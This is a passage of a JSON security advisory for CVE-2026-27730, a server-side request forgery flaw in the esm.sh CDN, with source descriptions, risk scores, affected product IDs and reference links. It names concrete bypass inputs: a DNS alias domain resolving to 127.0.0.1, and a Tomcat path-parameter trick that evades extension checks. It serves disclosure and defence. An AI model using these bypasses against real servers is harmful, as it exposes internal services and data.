endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-p2v6-84h2-5x4r.json?alt=media" }, { "category": "description", "text": "esm.sh is a no-build content delivery network (CDN) for web development. Versions up to and including 137 have an SSRF vulnerability (CWE-918) in esm.sh’s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains. This allows an external requester to make the esm.sh server fetch internal localhost services. As of time of publication, no known patched versions exist.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27730.json?alt=media" }, { "category": "description", "text": "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route in github.com/esm-dev/esm.sh", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4554.json?alt=media" }, { "category": "description", "text": "An SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route.\nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`).\nThis allows an external requester to make the esm.sh server fetch internal localhost services.\nSeverity: High (depending on deployment network exposure).", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fesm-dev%2Fesm.sh%2FCVE-2026-27730.yml/raw" }, { "category": "other", "text": "0.00041", "title": "EPSS" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "Exploit code publicly available, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "fixed": [ "CSAFPID-5944635" ], "known_affected": [ "CSAFPID-5704841", "CSAFPID-5707716", "CSAFPID-5051501", "CSAFPID-5051502", "CSAFPID-5051503", "CSAFPID-5051504", "CSAFPID-5051505", "CSAFPID-5051506", "CSAFPID-5051507", "CSAFPID-5051508", "CSAFPID-5051509", "CSAFPID-5051510", "CSAFPID-5051511", "CSAFPID-5051512", "CSAFPID-5051513", "CSAFPID-5051514", "CSAFPID-5051515", "CSAFPID-5051516", "CSAFPID-5051517", "CSAFPID-5051518", "CSAFPID-5051519", "CSAFPID-5051520", "CSAFPID-5051521", "CSAFPID-5051522", "CSAFPID-5051523", "CSAFPID-5051524", "CSAFPID-5051525", "CSAFPID-5051526", "CSAFPID-5051527", "CSAFPID-5051528", "CSAFPID-5051529", "CSAFPID-5051530", "CSAFPID-5051531", "CSAFPID-5051532", "CSAFPID-5051533", "CSAFPID-5051534", "CSAFPID-5051535", "CSAFPID-5051536", "CSAFPID-5051537", "CSAFPID-5051538", "CSAFPID-5051539", "CSAFPID-5051540", "CSAFPID-5051541", "CSAFPID-5051542", "CSAFPID-5051543", "CSAFPID-5051544", "CSAFPID-5051545", "CSAFPID-5051546", "CSAFPID-5051547", "CSAFPID-5051548", "CSAFPID-5051549", "CSAFPID-5051550", "CSAFPID-5051551", "CSAFPID-5051552", "CSAFPID-5051553", "CSAFPID-5051554", "CSAFPID-5051555", "CSAFPID-5051556", "CSAFPID-5051557", "CSAFPID-5051558", "CSAFPID-5051559", "CSAFPID-5051560", "CSAFPID-5051561", "CSAFPID-5051562", "CSAFPID-5051563", "CSAFPID-5051564", "CSAFPID-5051565", "CSAFPID-5051566", "CSAFPID-5051567", "CSAFPID-5051568", "CSAFPID-5051569", "CSAFPID-5051570", "CSAFPID-5051571", "CSAFPID-5051572", "CSAFPID-5051573", "CSAFPID-5051574", "CSAFPID-5051575", "CSAFPID-5051576", "CSAFPID-5051577", "CSAFPID-5051578", "CSAFPID-5051579", "CSAFPID-5051580", "CSAFPID-5051581", "CSAFPID-5051582", "CSAFPID-5051583", "CSAFPID-5051584", "CSAFPID-5051585", "CSAFPID-5051586", "CSAFPID-5051587", "CSAFPID-5051588", "CSAFPID-5051589", "CSAFPID-5051590", "CSAFPID-5051591", "CSAFPID-5051592", "CSAFPID-5051593", "CSAFPID-5051594", "CSAFPID-5051595", "CSAFPID-5051596", "CSAFPID-5051597", "CSAFPID-5051598", "CSAFPID-5449463", "CSAFPID-5721710", "CSAFPID-5736017", "CSAFPID-5944636" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27730" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27730" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27730" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27730.json" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-p2v6-84h2-5x4r" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-p2v6-84h2-5x4r" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-p2v6-84h2-5x4r.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27730.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27730" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4554.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fesm-dev%2Fesm.sh%2FCVE-2026-27730.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27730" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://github.com/esm-dev/esm.sh/pull/1149" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-p2v6-84h2-5x4r" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27730.json" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/esm-dev/esm.sh" } ], "scores": [ { "cvss_v3": { "version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5051501", "CSAFPID-5051502", "CSAFPID-5051503", "CSAFPID-5051504", "CSAFPID-5051505", "CSAFPID-5051506", "CSAFPID-5051507", "CSAFPID-5051508", "CSAFPID-5051509", "CSAFPID-5051510", "CSAFPID-5051511", "CSAFPID-5051512", "CSAFPID-5051513", "CSAFPID-5051514", "CSAFPID-5051515", "CSAFPID-5051516", "CSAFPID-5051517", "CSAFPID-5051518", "CSAFPID-5051519", "CSAFPID-5051520", "CSAFPID-5051521", "CSAFPID-5051522", "CSAFPID-5051523", "CSAFPID-5051524", "CSAFPID-5051525", "CSAFPID-5051526", "CSAFPID-5051527", "CSAFPID-5051528", "CSAFPID-5051529", "CSAFPID-5051530", "CSAFPID-5051531", "CSAFPID-5051532", "CSAFPID-5051533", "CSAFPID-5051534", "CSAFPID-5051535", "CSAFPID-5051536", "CSAFPID-5051537", "CSAFPID-5051538", "CSAFPID-5051539", "CSAFPID-5051540", "CSAFPID-5051541", "CSAFPID-5051542", "CSAFPID-5051543", "CSAFPID-5051544", "CSAFPID-5051545", "CSAFPID-5051546", "CSAFPID-5051547", "CSAFPID-5051548", "CSAFPID-5051549", "CSAFPID-5051550", "CSAFPID-5051551", "CSAFPID-5051552", "CSAFPID-5051553", "CSAFPID-5051554", "CSAFPID-5051555", "CSAFPID-5051556", "CSAFPID-5051557", "CSAFPID-5051558", "CSAFPID-5051559", "CSAFPID-5051560", "CSAFPID-5051561", "CSAFPID-5051562", "CSAFPID-5051563", "CSAFPID-5051564", "CSAFPID-5051565", "CSAFPID-5051566", "CSAFPID-5051567", "CSAFPID-5051568", "CSAFPID-5051569", "CSAFPID-5051570", "CSAFPID-5051571", "CSAFPID-5051572", "CSAFPID-5051573", "CSAFPID-5051574", "CSAFPID-5051575", "CSAFPID-5051576", "CSAFPID-5051577", "CSAFPID-5051578", "CSAFPID-5051579", "CSAFPID-5051580", "CSAFPID-5051581", "CSAFPID-5051582", "CSAFPID-5051583", "CSAFPID-5051584", "CSAFPID-5051585", "CSAFPID-5051586", "CSAFPID-5051587", "CSAFPID-5051588", "CSAFPID-5051589", "CSAFPID-5051590", "CSAFPID-5051591", "CSAFPID-5051592", "CSAFPID-5051593", "CSAFPID-5051594", "CSAFPID-5051595", "CSAFPID-5051596", "CSAFPID-5051597", "CSAFPID-5051598", "CSAFPID-5449463", "CSAFPID-5704841", "CSAFPID-5707716", "CSAFPID-5721710", "CSAFPID-5736017", "CSAFPID-5944636" ] } ], "title": "CVE-2026-27730" } ] }